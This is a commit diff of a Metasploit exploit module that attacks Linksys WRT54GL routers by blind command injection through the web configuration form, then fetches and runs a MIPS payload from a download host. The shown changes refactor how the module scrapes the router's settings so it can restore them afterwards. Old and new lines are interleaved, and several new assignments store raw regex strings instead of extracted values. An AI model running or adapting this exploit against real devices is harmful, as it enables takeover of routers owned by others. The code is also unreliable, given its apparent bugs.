first cleanup for linksys_wrt54gl_apply_exec

bug/bundler_fix
jvazquez-r7 2013-04-06 01:05:09 +02:00
parent 96b444c79e
commit 9a2f409974
1 changed files with 59 additions and 278 deletions

View File

@ -70,13 +70,20 @@ class Metasploit3 < Msf::Exploit::Remote
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
OptString.new('RESTORE_CONF', [ true, 'Should we try to restore the original configuration, (default: yes)', 'yes' ]), OptBool.new('RESTORE_CONF', [ true, 'Should we try to restore the original configuration', true ]),
OptString.new('LAN_PROTO', [ true, 'The device configuration for the local network, dhcp or static (default: dhcp)', 'dhcp' ]), OptString.new('LAN_PROTO', [ true, 'The device configuration for the local network, dhcp or static (default: dhcp)', 'dhcp' ]),
], self.class) ], self.class)
end end
def grab_config(user,pass)
def get_config(config, pattern)
if config =~ /#{pattern}/
return $1
end
return ""
end
def grab_config(user,pass)
print_status("#{rhost}:#{rport} - Trying to download the original configuration") print_status("#{rhost}:#{rport} - Trying to download the original configuration")
begin begin
res = send_request_cgi({ res = send_request_cgi({
@ -100,290 +107,64 @@ class Metasploit3 < Msf::Exploit::Remote
fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
end end
if res.body =~ /<input\ type=hidden\ name=now_proto\ value=\'(.*)\'>/ @now_proto_orig = get_config(res.body, "<input\ type=hidden\ name=now_proto\ value=\'(.*)\'>")
if $1.nil?
@now_proto_orig = ""
else
@now_proto_orig = $1
end
if @now_proto_orig !~ /dhcp/ if @now_proto_orig !~ /dhcp/
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - We do not know if this module works with your configuration -> possible we overwrite your config and break this device!") fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Configuration not recognized, aborting to avoid breaking the device")
end end
end @daylight_time_orig = get_config(res.body, "<input\ type=hidden\ name=daylight_time\ value=(.*)>")
if res.body =~ /<input\ type=hidden\ name=daylight_time\ value=(.*)>/ @lan_ipaddr_orig = get_config(res.body, "<input\ type=hidden\ name=\"lan_ipaddr\"\ value=(.*)>")
if $1.nil? @wait_time_orig = get_config(res.body, "<input\ type=hidden\ name=\"wait_time\"\ value=(.*)>")
@daylight_time_orig = "" @need_reboot_orig = get_config(res.body, "<input\ type=hidden\ name=\"need_reboot\"\ value=(.*)>")
else @wan_proto_orig = get_config(res.body, "var\ wan_proto\ =\ \'(.*)\'\;")
@daylight_time_orig = $1 @lan_ipaddr_0_orig = get_config(res.body, "onBlur\=valid_range\(this\,1\,223\,\"IP\"\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_0\"\>")
end @lan_ipaddr_1_orig = get_config(res.body, "\<INPUT\ class=num\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"IP\"\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_1\">")
end @lan_ipaddr_2_orig = get_config(res.body, "\<INPUT\ class=num maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"IP\"\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_2\">")
if res.body =~ /<input\ type=hidden\ name=\"lan_ipaddr\"\ value=(.*)>/ @lan_ipaddr_3_orig = get_config(res.body, "<INPUT class=num maxLength=3\ onBlur=\"valid_range\(this,1,254,'IP'\)\;Sel_SubMask\(this.form.lan_netmask,this.form\);\"\ size=3\ value='(.*)'\ name=\"lan_ipaddr_3\"><\/TD>")
if $1.nil? @router_name_orig = get_config(res.body, "name=\"router_name\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\(this\,\"Router%20Name\"\)><\/FONT><\/TD>")
@lan_ipaddr_orig = "" @wan_domain_orig = get_config(res.body, "name=\"wan_domain\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\(this\,\"Domain%20name\"\,SPACE_NO\)><\/FONT><\/TD>")
else @wan_hostname_orig = get_config(res.body, "<INPUT\ maxLength=39\ name=\"wan_hostname\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\(this\,\"Host%20Name\"\)><\/FONT><\/TD>")
@lan_ipaddr_orig = $1 @wan_mtu_orig = get_config(res.body, "<INPUT\ class=num\ maxLength=4\ onBlur=valid_mtu\(this\)\ size=5\ value='(.*)'\ name=\"wan_mtu\"><\/TD>")
end
end
if res.body =~ /<input\ type=hidden\ name=\"wait_time\"\ value=(.*)>/
if $1.nil?
@wait_time_orig = ""
else
@wait_time_orig = $1
end
end
if res.body =~ /<input\ type=hidden\ name=\"need_reboot\"\ value=(.*)>/
if $1.nil?
@need_reboot_orig = ""
else
@need_reboot_orig = $1
end
end
if res.body =~ /var\ wan_proto\ =\ \'(.*)\'\;/
if $1.nil?
@wan_proto_orig = ""
else
@wan_proto_orig = $1
end
end
if res.body =~ /onBlur\=valid_range\(this\,1\,223\,\"IP\"\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_0\"\>/
if $1.nil?
@lan_ipaddr_0_orig = ""
else
@lan_ipaddr_0_orig = $1
end
end
if res.body =~ /\<INPUT\ class=num\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"IP\"\)\ size=3\ value=\'(.*)\'\ name="lan_ipaddr_1">/
if $1.nil?
@lan_ipaddr_1_orig = ""
else
@lan_ipaddr_1_orig = $1
end
end
if res.body =~ /\<INPUT\ class=num maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"IP\"\)\ size=3\ value=\'(.*)\'\ name="lan_ipaddr_2">/
if $1.nil?
@lan_ipaddr_2_orig = ""
else
@lan_ipaddr_2_orig = $1
end
end
if res.body =~ /<INPUT class=num maxLength=3\ onBlur="valid_range\(this,1,254,'IP'\)\;Sel_SubMask\(this.form.lan_netmask,this.form\);"\ size=3\ value='(.*)'\ name="lan_ipaddr_3"><\/TD>/
if $1.nil?
@lan_ipaddr_3_orig = ""
else
@lan_ipaddr_3_orig = $1
end
end
if res.body =~ /name=\"router_name\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\(this\,\"Router%20Name\"\)><\/FONT><\/TD>/
if $1.nil?
@router_name_orig = ""
else
@router_name_orig = $1
end
end
if res.body =~ /name=\"wan_domain\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\(this\,\"Domain%20name\"\,SPACE_NO\)><\/FONT><\/TD>/
if $1.nil?
@wan_domain_orig = ""
else
@wan_domain_orig = $1
end
end
if res.body =~ /<INPUT\ maxLength=39\ name=\"wan_hostname\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\(this\,\"Host%20Name\"\)><\/FONT><\/TD>/
if $1.nil?
@wan_hostname_orig = ""
else
@wan_hostname_orig = $1
end
end
if res.body =~ /<INPUT\ class=num\ maxLength=4\ onBlur=valid_mtu\(this\)\ size=5\ value='(.*)'\ name="wan_mtu"><\/TD>/
if $1.nil?
@wan_mtu_orig = ""
else
@wan_mtu_orig = $1
if @wan_mtu_orig.to_i > 1500 if @wan_mtu_orig.to_i > 1500
@mtu_enable = "0" @mtu_enable = "0"
end end
end @ui_language_orig = "<SCRIPT\ language=\"Javascript\"\ type=\"text\/javascript\" src=\"(.*)_lang_pack\/capsec.js\"><\/SCRIPT>"
end @dhcp_lease_orig = "<INPUT\ maxLength=4\ onBlur=valid_range\(this\,0\,9999\,\"DHCP%20Lease%20Time\"\)\ size=4\ value=\'(.*)\'\ name=\"dhcp_lease\"\ class=num"
if res.body =~ /<SCRIPT\ language=\"Javascript\"\ type=\"text\/javascript\" src=\"(.*)_lang_pack\/capsec.js\"><\/SCRIPT>/ @dhcp_num_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,1\,253\,\"Number%20of%20DHCP%20users\"\)\;Sel_SubMask_onblur\(this.form.lan_netmask\,this.form\)\ size=3\ value=\'(.*)\'\ name=\"dhcp_num\"\ class=num><\/TD>"
if $1.nil? @dhcp_start_orig = "Sel_SubMask_onblur\(this.form.lan_netmask\,this.form\)\ size=3\ value=\'(.*)\'\ name=\"dhcp_start\"\ class=num\ onChange=\"valid_dhcpd_start_ip\(this.form\,\ this\)\">"
@ui_language_orig = "" @netmask_orig = "value=.*\ selected\>255\.255\.255\.(.*)\<\/OPTION\>"
else @wan_dns_orig = "<input\ type=hidden\ name=wan_dns\ value=(.*)>"
@ui_language_orig = $1 @wan_dns0_0_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,223\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_0\"\ class=num\>"
end @wan_dns0_1_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\' name=\"wan_dns0_1\"\ class=num\>"
end @wan_dns0_2_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_2\"\ class=num\>"
if res.body =~ /<INPUT\ maxLength=4\ onBlur=valid_range\(this\,0\,9999\,\"DHCP%20Lease%20Time\"\)\ size=4\ value=\'(.*)\'\ name=\"dhcp_lease\"\ class=num/ @wan_dns0_3_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,254\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_3\"\ class=num\>"
if $1.nil? @wan_dns1_0_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,223\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_0\"\ class=num\>"
@dhcp_lease_orig = "" @wan_dns1_1_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\' name=\"wan_dns1_1\"\ class=num\>"
else @wan_dns1_2_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_2\"\ class=num\>"
@dhcp_lease_orig = $1 @wan_dns1_3_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,254\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_3\"\ class=num\>"
end @wan_dns2_0_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,223\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_0\"\ class=num\>"
end @wan_dns2_1_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\' name=\"wan_dns2_1\"\ class=num\>"
if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,1\,253\,\"Number%20of%20DHCP%20users\"\)\;Sel_SubMask_onblur\(this.form.lan_netmask\,this.form\)\ size=3\ value=\'(.*)\'\ name=\"dhcp_num\"\ class=num><\/TD>/ @wan_dns2_2_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_2\"\ class=num\>"
if $1.nil? @wan_dns2_3_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,254\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_3\"\ class=num\>"
@dhcp_num_orig = "" @wan_wins_orig = "<input\ type=hidden\ name=wan_wins\ value=(.*)>"
else @wan_wins_0_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,223\,\"WINS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_0\"\ class=num>"
@dhcp_num_orig = $1 @wan_wins_1_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"WINS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_1\"\ class=num>"
end @wan_wins_2_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"WINS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_2\"\ class=num>"
end @wan_wins_3_orig = "<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,254\,\"WINS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_3\"\ class=num>"
if res.body =~ /Sel_SubMask_onblur\(this.form.lan_netmask\,this.form\)\ size=3\ value=\'(.*)\'\ name=\"dhcp_start\"\ class=num\ onChange=\"valid_dhcpd_start_ip\(this.form\,\ this\)\">/
if $1.nil?
@dhcp_start_orig = ""
else
@dhcp_start_orig = $1
end
end
if res.body =~ /value=.*\ selected\>255\.255\.255\.(.*)\<\/OPTION\>/
if $1.nil?
@netmask_orig = ""
else
@netmask_orig = $1
end
end
if res.body =~ /<input\ type=hidden\ name=wan_dns\ value=(.*)>/
if $1.nil?
@wan_dns_orig = ""
else
@wan_dns_orig = $1
end
end
if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,223\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_0\"\ class=num\>/
if $1.nil?
@wan_dns0_0_orig = ""
else
@wan_dns0_0_orig = $1
end
end
if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\' name=\"wan_dns0_1\"\ class=num\>/
if $1.nil?
@wan_dns0_1_orig = ""
else
@wan_dns0_1_orig = $1
end
end
if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_2\"\ class=num\>/
if $1.nil?
@wan_dns0_2_orig = ""
else
@wan_dns0_2_orig = $1
end
end
if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,254\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_3\"\ class=num\>/
if $1.nil?
@wan_dns0_3_orig = ""
else
@wan_dns0_3_orig = $1
end
end
if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,223\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_0\"\ class=num\>/
if $1.nil?
@wan_dns1_0_orig = ""
else
@wan_dns1_0_orig = $1
end
end
if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\' name=\"wan_dns1_1\"\ class=num\>/
if $1.nil?
@wan_dns1_1_orig = ""
else
@wan_dns1_1_orig = $1
end
end
if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_2\"\ class=num\>/
if $1.nil?
@wan_dns1_2_orig = ""
else
@wan_dns1_2_orig = $1
end
end
if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,254\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_3\"\ class=num\>/
if $1.nil?
@wan_dns1_3_orig = ""
else
@wan_dns1_3_orig = $1
end
end
if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,223\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_0\"\ class=num\>/
if $1.nil?
@wan_dns2_0_orig = ""
else
@wan_dns2_0_orig = $1
end
end
if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\' name=\"wan_dns2_1\"\ class=num\>/
if $1.nil?
@wan_dns2_1_orig = ""
else
@wan_dns2_1_orig = $1
end
end
if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_2\"\ class=num\>/
if $1.nil?
@wan_dns2_2_orig = ""
else
@wan_dns2_2_orig = $1
end
end
if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,254\,\"DNS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_3\"\ class=num\>/
if $1.nil?
@wan_dns2_3_orig = ""
else
@wan_dns2_3_orig = $1
end
end
if res.body =~ /<input\ type=hidden\ name=wan_wins\ value=(.*)>/
if $1.nil?
@wan_wins_orig = ""
else
@wan_wins_orig = $1
end
end
if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,223\,\"WINS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_0\"\ class=num>/
if $1.nil?
@wan_wins_0_orig = ""
else
@wan_wins_0_orig = $1
end
end
if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"WINS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_1\"\ class=num>/
if $1.nil?
@wan_wins_1_orig = ""
else
@wan_wins_1_orig = $1
end
end
if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,255\,\"WINS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_2\"\ class=num>/
if $1.nil?
@wan_wins_2_orig = ""
else
@wan_wins_2_orig = $1
end
end
if res.body =~ /<INPUT\ maxLength=3\ onBlur=valid_range\(this\,0\,254\,\"WINS\"\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_3\"\ class=num>/
if $1.nil?
@wan_wins_3_orig = ""
else
@wan_wins_3_orig = $1
end
end
end end
def restore_conf(user,pass,uri) def restore_conf(user,pass,uri)
# we have used most parts of the original configuration
#we have used most parts of the original configuraion
# just need to restore pppoe_username # just need to restore pppoe_username
cmd = @wan_hostname_orig.to_s cmd = @wan_hostname_orig.to_s
print_status("#{rhost}:#{rport} - Asking the Linksys device to reload original configuration") print_status("#{rhost}:#{rport} - Asking the Linksys device to reload original configuration")
##WARNING: restore of wan_hostname_orig not working!!! # WARNING: restore of wan_hostname_orig not working!!!
res = request(cmd,user,pass,uri) res = request(cmd,user,pass,uri)
if (!res) if (!res)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration") fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration")
end end
#the device needs around 30 seconds to apply our current configuration #the device needs around 30 seconds to apply our current configuration
print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration") print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
select(nil, nil, nil, @timeout) select(nil, nil, nil, @timeout)
@ -401,7 +182,7 @@ class Metasploit3 < Msf::Exploit::Remote
'change_action' => "1", 'change_action' => "1",
'submit_type' => "1", 'submit_type' => "1",
'action' => "Apply", 'action' => "Apply",
'now_proto' => @now_proto_orig.to_s, #Todo: check if the injection also works with other settings 'now_proto' => @now_proto_orig.to_s,
'daylight_time' => @daylight_time_orig.to_s, 'daylight_time' => @daylight_time_orig.to_s,
'lan_ipaddr' => @lan_ipaddr_orig.to_s, 'lan_ipaddr' => @lan_ipaddr_orig.to_s,
'wait_time' => @wait_time_orig.to_s, 'wait_time' => @wait_time_orig.to_s,
@ -418,7 +199,7 @@ class Metasploit3 < Msf::Exploit::Remote
'lan_ipaddr_2' => @lan_ipaddr_2_orig.to_s, 'lan_ipaddr_2' => @lan_ipaddr_2_orig.to_s,
'lan_ipaddr_3' => @lan_ipaddr_3_orig.to_s, 'lan_ipaddr_3' => @lan_ipaddr_3_orig.to_s,
'lan_netmask' => "255.255.255.#{@netmask_orig}", 'lan_netmask' => "255.255.255.#{@netmask_orig}",
'lan_proto' => @lan_proto_manual.to_s, #we have to configure this 'lan_proto' => @lan_proto_manual.to_s, # It should be configured with datastore['LAN_PROTO']
'dhcp_check' => "1", 'dhcp_check' => "1",
'dhcp_start' => @dhcp_start_orig.to_s, 'dhcp_start' => @dhcp_start_orig.to_s,
'dhcp_num' => @dhcp_num_orig.to_s, 'dhcp_num' => @dhcp_num_orig.to_s,
@ -498,10 +279,10 @@ class Metasploit3 < Msf::Exploit::Remote
res = request(cmd,user,pass,uri) res = request(cmd,user,pass,uri)
if (!res) if (!res)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
restore_conf(user,pass,uri) restore_conf(user,pass,uri) if restore
else else
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
if restore == "yes" if restore
print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration") print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
select(nil, nil, nil, @timeout) select(nil, nil, nil, @timeout)
restore_conf(user,pass,uri) restore_conf(user,pass,uri)
@ -602,7 +383,7 @@ class Metasploit3 < Msf::Exploit::Remote
# #
#reload original configuration #reload original configuration
# #
if restore == "yes" if restore
restore_conf(user,pass,uri) restore_conf(user,pass,uri)
end end
end end